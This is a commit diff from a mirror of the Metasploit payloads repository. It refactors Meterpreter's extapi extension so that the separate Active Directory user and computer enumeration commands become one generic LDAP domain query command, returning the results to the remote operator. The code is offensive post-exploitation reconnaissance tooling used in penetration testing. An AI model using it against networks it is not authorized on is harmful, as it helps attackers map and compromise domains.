1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-28 06:13:03 +01:00

Refactor into generic query

Querying is now generic so that more flexibility is made available to
the attacker.
This commit is contained in:
OJ 2013-12-08 20:30:51 +10:00
parent 3ba9b0549b
commit 4e01c9ef98
6 changed files with 149 additions and 133 deletions

View File

@ -6,21 +6,58 @@
#include "adsi.h"
#include "adsi_interface.h"
/*!
* @brief Helper function that converts an ASCII string to a wide char string.
* @param lpValue ASCII string to convert.
* @param lpwValue Target memory for the converted string.
* @remark lpwValue must already have enough memory allocated to hold all the characters.
* @returns Indication of success or failure.
*/
DWORD to_wide_string(LPSTR lpValue, LPWSTR* lpwValue)
{
size_t charsCopied = 0;
DWORD valueLength;
DWORD dwResult;
do
{
if (lpValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Value parameter missing", ERROR_INVALID_PARAMETER);
}
valueLength = lstrlenA(lpValue);
*lpwValue = (LPWSTR)malloc(sizeof(WCHAR)* (lstrlenA(lpValue) + 1));
if (*lpwValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
}
mbstowcs_s(&charsCopied, *lpwValue, valueLength + 1, lpValue, valueLength);
dwResult = ERROR_SUCCESS;
} while (0);
return dwResult;
}
/*!
* @brief Enumerate all the users in AD.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming \c Packet instance.
* @returns The ERROR_SUCCESS constant.
* @returns Indication of success or failure.
* @remark Real error codes are returned to the caller via a response packet.
*/
DWORD request_adsi_user_enum(Remote *remote, Packet *packet)
DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
LPSTR lpDomain = NULL;
LPSTR lpValue = NULL;
LPWSTR lpwDomain = NULL;
size_t charsCopied = 0;
size_t domainLength = 0;
LPWSTR lpwFilter = NULL;
LPWSTR* lpwFields = NULL;
DWORD fieldCount = 0;
DWORD fieldIndex = 0;
Packet * response = packet_create_response(packet);
Tlv fieldTlv;
do
{
@ -29,28 +66,70 @@ DWORD request_adsi_user_enum(Remote *remote, Packet *packet)
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
}
// Get the domain that we're doing the query against
lpDomain = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
if (lpDomain == NULL)
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
dprintf("[EXTAPI ADSI] Domain: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwDomain);
if (dwResult != ERROR_SUCCESS)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Domain parameter missing", ERROR_INVALID_PARAMETER);
dprintf("[EXTAPI ADSI] Failed to get Domain");
break;
}
dprintf("[EXTAPI ADSI] Request to enumerate users in domain %s", lpDomain);
domainLength = lstrlenA(lpDomain);
lpwDomain = (LPWSTR)malloc(sizeof(WCHAR)* (lstrlenA(lpDomain) + 1));
if (lpwDomain == NULL)
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
dprintf("[EXTAPI ADSI] Filter: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwFilter);
if (dwResult != ERROR_SUCCESS)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
dprintf("[EXTAPI ADSI] Failed to get Filter");
break;
}
mbstowcs_s(&charsCopied, lpwDomain, domainLength + 1, lpDomain, domainLength);
dprintf("[EXTAPI ADSI] Beginning user enumeration");
dwResult = domain_user_enum(lpwDomain, response);
while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
{
lpValue = (char*)fieldTlv.buffer;
dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue);
lpwFields = (LPWSTR*)realloc(lpwFields, sizeof(LPWSTR) * (fieldCount + 1));
if (lpwFields == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
}
dwResult = to_wide_string(lpValue, &lpwFields[fieldCount]);
if (dwResult != ERROR_SUCCESS)
{
dprintf("[EXTAPI ADSI] Failed to get field as wide string");
break;
}
++fieldCount;
}
dprintf("[EXTAPI ADSI] Field count: %u", fieldCount, lpValue);
if (dwResult == ERROR_SUCCESS)
{
dprintf("[EXTAPI ADSI] Beginning user enumeration");
dwResult = domain_query(lpwDomain, lpwFilter, lpwFields, fieldCount, response);
}
} while (0);
if (lpwFields)
{
for (fieldIndex = 0; fieldIndex < fieldCount; ++fieldIndex)
{
if (lpwFields[fieldIndex])
{
free(lpwFields[fieldIndex]);
}
}
free(lpwFields);
}
if (lpwFilter)
{
free(lpwFilter);
}
if (lpwDomain)
{
free(lpwDomain);
@ -64,62 +143,3 @@ DWORD request_adsi_user_enum(Remote *remote, Packet *packet)
return dwResult;
}
/*!
* @brief Enumerate all the computers in AD.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming \c Packet instance.
* @returns The ERROR_SUCCESS constant.
* @remark Real error codes are returned to the caller via a response packet.
*/
DWORD request_adsi_computer_enum(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
LPSTR lpDomain = NULL;
LPWSTR lpwDomain = NULL;
size_t charsCopied = 0;
size_t domainLength = 0;
Packet * response = packet_create_response(packet);
do
{
if (!response)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
}
// Get the domain that we're doing the query against
lpDomain = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
if (lpDomain == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Domain parameter missing", ERROR_INVALID_PARAMETER);
}
dprintf("[EXTAPI ADSI] Request to enumerate computers in domain %s", lpDomain);
domainLength = lstrlenA(lpDomain);
lpwDomain = (LPWSTR)malloc(sizeof(WCHAR)* (lstrlenA(lpDomain) + 1));
if (lpwDomain == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
}
mbstowcs_s(&charsCopied, lpwDomain, domainLength + 1, lpDomain, domainLength);
dprintf("[EXTAPI ADSI] Beginning computer enumeration");
dwResult = domain_computer_enum(lpwDomain, response);
} while (0);
if (lpwDomain)
{
free(lpwDomain);
}
dprintf("[EXTAPI ADSI] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
return dwResult;
}

View File

@ -5,7 +5,8 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_H
DWORD request_adsi_user_enum(Remote *remote, Packet *packet);
DWORD request_adsi_computer_enum(Remote *remote, Packet *packet);
//DWORD request_adsi_user_enum(Remote *remote, Packet *packet);
//DWORD request_adsi_computer_enum(Remote *remote, Packet *packet);
DWORD request_adsi_domain_query(Remote *remote, Packet *packet);
#endif

View File

@ -16,9 +16,19 @@ extern "C" {
#define VALUE_SIZE 512
#define PATH_SIZE 256
/*! @brief The GUID of the Directory Search COM object. */
static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, TlvType* tlvIds, UINT queryColCount, TlvType groupTlvId, Packet* response)
/*!
* @brief Perform a domain query via ADSI.
* @param lpwDomain Name of the domain that is to be queried.
* @param lpwFilter The filter to use when reading objects (LDAP style).
* @param lpwQueryCols Array of column names representing fields to extract.
* @param queryColCount Number of columns in \c lpwQueryCols.
* @param response The response \c Packet to add the results to.
*/
DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
UINT queryColCount, Packet* response)
{
HRESULT hResult;
WCHAR cbPath[PATH_SIZE];
@ -39,8 +49,10 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, Tl
dprintf("[ADSI] Unable to open domain: %x", hResult);
break;
}
dprintf("[ADSI] Domain opened");
// run the search for the values listed above
OutputDebugStringW(lpwFilter);
hResult = pDirSearch->ExecuteSearch(lpwFilter, lpwQueryCols, queryColCount, &hSearch);
if (hResult != S_OK)
{
@ -48,9 +60,9 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, Tl
break;
}
ADS_SEARCH_COLUMN col;
// These buffers are used to store the values that we're reading out of AD
Tlv* entries = (Tlv*)malloc(queryColCount * sizeof(Tlv));
char* values = (char*)malloc(VALUE_SIZE * queryColCount);
char* values = (char*)malloc(queryColCount * VALUE_SIZE);
// now we iterate through the search results
while (SUCCEEDED((hResult = pDirSearch->GetNextRow(hSearch))))
@ -66,29 +78,35 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, Tl
DWORD dwIndex = 0;
size_t charsConverted;
QWORD qwValue;
UINT uiValue;
ADS_SEARCH_COLUMN col;
// iterate through the columns, adding Tlv entries as we go, but only
// if we can get the values out.
for (DWORD colIndex = 0; colIndex < queryColCount; ++colIndex)
{
char* valueTarget = values + dwIndex * VALUE_SIZE;
entries[dwIndex].buffer = (PUCHAR)valueTarget;
entries[dwIndex].header.type = TLV_TYPE_EXT_ADSI_VALUE;
// try to do something sane based on the type that's being used to store
// the value.
HRESULT hr = pDirSearch->GetColumn(hSearch, lpwQueryCols[dwIndex], &col);
if (SUCCEEDED(hr))
{
char* valueTarget = values + (dwIndex * VALUE_SIZE);
entries[dwIndex].buffer = (PUCHAR)valueTarget;
entries[dwIndex].header.type = tlvIds[dwIndex];
switch (col.dwADsType)
{
case ADSTYPE_LARGE_INTEGER:
qwValue = col.pADsValues->LargeInteger.QuadPart;
*((QWORD*)valueTarget) = htonq(qwValue);
entries[dwIndex].header.length = sizeof(QWORD);
dprintf("[ADSI] Adding large int value %ul", (QWORD)qwValue);
qwValue = htonq((QWORD)col.pADsValues->LargeInteger.QuadPart);
_i64toa_s(qwValue, valueTarget, VALUE_SIZE, 10);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
dprintf("[ADSI] Adding large int value %ul", (UINT)col.pADsValues->Integer);
break;
case ADSTYPE_INTEGER:
*((UINT*)valueTarget) = htonl((UINT)col.pADsValues->Integer);
entries[dwIndex].header.length = sizeof(UINT);
uiValue = htonl((UINT)col.pADsValues->Integer);
_itoa_s(uiValue, valueTarget, VALUE_SIZE, 10);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
break;
default:
@ -97,30 +115,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, Tl
: col.pADsValues->CaseExactString;
wcstombs_s(&charsConverted, valueTarget, VALUE_SIZE, source, VALUE_SIZE - 1);
dprintf("[ADSI] Adding %s", valueTarget);
dprintf("[ADSI] Adding string %s", valueTarget);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
break;
}
dwIndex++;
pDirSearch->FreeColumn(&col);
}
else
{
dprintf("[ADSI] Col read failed: %x", hr);
valueTarget[0] = 0;
entries[dwIndex].header.length = 1;
}
dwIndex++;
}
if (dwIndex > 0)
{
dprintf("[ADSI] Adding group packet of %u values", dwIndex);
// Throw the user details together in a group, ready to return.
packet_add_tlv_group(response, groupTlvId, entries, dwIndex);
packet_add_tlv_group(response, TLV_TYPE_EXT_ADSI_RESULT, entries, dwIndex);
dprintf("[ADSI] Added group packet of %u values", dwIndex);
}
else
{
dprintf("[ADSI] User found, but no fields extracted.");
dprintf("[ADSI] Item found, but no fields extracted.");
}
}
@ -140,26 +161,10 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, Tl
CoUninitialize();
}
else
{
dprintf("[ADSI] Failed to initialize COM");
}
return (DWORD)hResult;
}
DWORD domain_user_enum(LPCWSTR lpwDomain, Packet* response)
{
LPWSTR lpwFields[] = { L"samAccountName", L"description", L"Name", L"distinguishedname", L"comment" };
TlvType tlvIds[] = { TLV_TYPE_EXT_ADSI_USER_SAM, TLV_TYPE_EXT_ADSI_USER_DESC,
TLV_TYPE_EXT_ADSI_USER_NAME, TLV_TYPE_EXT_ADSI_USER_DN, TLV_TYPE_EXT_ADSI_USER_COMMENT };
DWORD dwCols = sizeof(lpwFields) / sizeof(LPWSTR);
return domain_query(lpwDomain, L"(objectClass=user)", lpwFields, tlvIds, dwCols, TLV_TYPE_EXT_ADSI_USER, response);
}
DWORD domain_computer_enum(LPCWSTR lpwDomain, Packet* response)
{
LPWSTR lpwFields[] = { L"description", L"Name", L"distinguishedname", L"comment" };
TlvType tlvIds[] = { TLV_TYPE_EXT_ADSI_COMP_DESC, TLV_TYPE_EXT_ADSI_COMP_NAME,
TLV_TYPE_EXT_ADSI_COMP_DN, TLV_TYPE_EXT_ADSI_COMP_COMMENT };
DWORD dwCols = sizeof(lpwFields) / sizeof(LPWSTR);
return domain_query(lpwDomain, L"(objectClass=computer)", lpwFields, tlvIds, dwCols, TLV_TYPE_EXT_ADSI_COMP, response);
}

View File

@ -6,7 +6,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_INTERFACE_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_INTERFACE_H
DWORD domain_user_enum(LPCWSTR lpDomain, Packet* response);
DWORD domain_computer_enum(LPCWSTR lpDomain, Packet* response);
DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, UINT queryColCount, Packet* response);
#endif

View File

@ -26,8 +26,7 @@ Command customCommands[] =
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_adsi_user_enum", request_adsi_user_enum),
COMMAND_REQ("extapi_adsi_computer_enum", request_adsi_computer_enum),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_TERMINATOR
};

View File

@ -43,17 +43,9 @@
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
#define TLV_TYPE_EXT_ADSI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 55)
#define TLV_TYPE_EXT_ADSI_COMP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 56)
#define TLV_TYPE_EXT_ADSI_COMP_DESC MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 57)
#define TLV_TYPE_EXT_ADSI_COMP_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 58)
#define TLV_TYPE_EXT_ADSI_COMP_DN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 59)
#define TLV_TYPE_EXT_ADSI_COMP_COMMENT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 60)
#define TLV_TYPE_EXT_ADSI_USER MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 61)
#define TLV_TYPE_EXT_ADSI_USER_DESC MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 62)
#define TLV_TYPE_EXT_ADSI_USER_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 63)
#define TLV_TYPE_EXT_ADSI_USER_DN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 64)
#define TLV_TYPE_EXT_ADSI_USER_COMMENT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 65)
#define TLV_TYPE_EXT_ADSI_USER_SAM MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 66)
#define TLV_TYPE_EXT_ADSI_USER_ATTRIB MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 67)
#define TLV_TYPE_EXT_ADSI_FILTER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 56)
#define TLV_TYPE_EXT_ADSI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 57)
#define TLV_TYPE_EXT_ADSI_VALUE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 58)
#define TLV_TYPE_EXT_ADSI_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 59)
#endif